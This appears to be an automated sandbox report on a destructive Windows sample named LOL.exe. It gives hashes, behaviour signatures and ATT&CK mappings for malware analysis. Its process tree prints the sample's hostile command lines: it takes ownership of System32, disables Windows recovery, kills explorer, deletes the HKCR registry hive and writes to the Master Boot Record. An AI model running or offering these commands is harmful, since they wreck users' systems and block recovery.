Analysis
-
max time kernel
28s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240215-en -
resource tags
-
submitted
18-05-2024 05:32
General
-
Target
LOL.exe
-
Size
251KB
-
MD5
7da870c0e576e4c1efcdecc72cd3b6c1
-
SHA1
50075bd0691ac4cc1fdd49419596a50e774e9d7f
-
SHA256
8336cd63887054c04ceb4279c608847a21dcdc96ed961704205dc655256ea85d
-
SHA512
f4a7646ba9f5c07e7e70d7c3a252600c0f5872dfe7644f5d152f606b61e85cc61a169e03eef8fd4cb47de8187075269d8f0e6aacd3edbc939f12c9032ea68b18
-
SSDEEP
6144:/5VP9Ge3+hoAvdeJBbLncZiJhSQnLEWyvkwel:/5393whFOBbxJkQwWyvCl
Malware Config
Signatures
-
Disables Task Manager via registry modification
-
Possible privilege escalation attempt 4 IoCs
-
Executes dropped EXE 3 IoCs
-
Loads dropped DLL 1 IoCs
-
Modifies file permissions 1 TTPs 4 IoCs
-
Modifies system executable filetype association 2 TTPs 45 IoCs
-
Registers COM server for autorun 1 TTPs 64 IoCs
-
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
-
Drops file in System32 directory 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Kills process with taskkill 2 IoCs
-
Modifies registry class 64 IoCs
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 4 IoCs
-
Suspicious use of WriteProcessMemory 51 IoCs
-
System policy modification 1 TTPs 1 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\LOL.exe"C:\Users\Admin\AppData\Local\Temp\LOL.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c ""C:\Users\Admin\AppData\Local\Temp\LOL\KillDuplicate.cmd" "C:\Users\Admin\AppData\Local\Temp\LOL" "LOL.exe""2⤵
-
C:\Users\Admin\AppData\Local\Temp\LOL\lolololol.exe"C:\Users\Admin\AppData\Local\Temp\LOL\lolololol.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k color 47 && title Critical process && takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && reagentc.exe /disable && taskkill /f /im explorer.exe && taskkill /f /im cmd.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System324⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32 /grant Admin:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\drivers4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\drivers /grant Admin:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\ReAgentc.exereagentc.exe /disable4⤵
- Drops file in System32 directory
-
C:\Windows\system32\taskkill.exetaskkill /f /im explorer.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /f /im cmd.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LOL\MBR.exe"C:\Users\Admin\AppData\Local\Temp\LOL\MBR.exe"3⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\LOL\lol.vbs"3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k ping 127.0.0.1 -n 10 > nul && start GDI.exe && reg delete HKCR /f && exit3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 104⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\LOL\GDI.exeGDI.exe4⤵
- Executes dropped EXE
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
- Modifies system executable filetype association
- Registers COM server for autorun
- Modifies registry class
-
C:\Windows\SysWOW64\DllHost.exeC:\Windows\SysWOW64\DllHost.exe /Processid:{3F6B5E16-092A-41ED-930B-0B4125D91D4E}1⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Persistence
Event Triggered Execution
1Change Default File Association
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Pre-OS Boot
1Bootkit
1Privilege Escalation
Event Triggered Execution
1Change Default File Association
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\LOL\GDI.exeFilesize
11KB
MD56924d116e5d91cbf9dc06e196d0eda92
SHA12c58bbac7c0e7c433ae1c8fab1ce29b36c953844
SHA256bced0e0e8a381047dff68ffc932e4a7559b23ff44ee13a9ae52814afaf84d6cc
SHA512b6f7df052c3f041c41c69e1569714df7761089119ba9771e1d8139e5ac3b45c0af325b131f1dae82c402934d1475d110d15a0ed494156bf57c3065b1b1de67b2
-
C:\Users\Admin\AppData\Local\Temp\LOL\MBR.exeFilesize
49KB
MD5fdf4716db915b7ac49c6504b77b9d9b4
SHA15aa337bf59a65370244996826aa891a555497b7a
SHA2564bd04de45a41056d97eb8c717b65aabcd0b6cd1954121a525ecde0a7805a7da7
SHA5126c7305cd8c922a1e19d1fef1189f12b828d5c67db76a2b48174149b22a8d8a3f81a1224df509352a188ef868f58a40f48e530602df955a80ea91e36b9d4fef10
-
C:\Users\Admin\AppData\Local\Temp\LOL\lol.vbsFilesize
96B
MD543c0e3989419de068ceeb33464d57011
SHA13a215bc58643e7b3be19f6d4dc15e8daa49fd019
SHA256510daae2853084652dc59cd4849f1776a489c20de6976027fe6d96d68070d44c
SHA512b124a309314ffdb1a67eb76bf790f2de45b8a33fd8e540137b6e0868c26bfda7b86320ef19922de3bb058c82c0b75dbc0da29dc9a694009eb6af9e4721bbbb3c
-
\Users\Admin\AppData\Local\Temp\LOL\lolololol.exeFilesize
92KB
MD5ed5f4c9e24f17e35b262fbb9e85b13b8
SHA1382ac377303faf29c885473c378020162d1e223d
SHA2569254556fa86e4f6d4778748b399737bf44fee73ce6508b4f2e093cde07260991
SHA5128af1a81d16f82250fd81e753f082f9e817624eec2aab0c4e9551d509712b531c3ec836b6150e851ac50453c9d1b6576d8606c6d8d9d24209d94b03f150c234fe
-
memory/1768-19-0x0000000000400000-0x0000000000413000-memory.dmpFilesize
76KB
-
memory/2644-15-0x0000000000ED0000-0x0000000000EEC000-memory.dmpFilesize
112KB
-
memory/2776-27-0x0000000001090000-0x000000000109A000-memory.dmpFilesize
40KB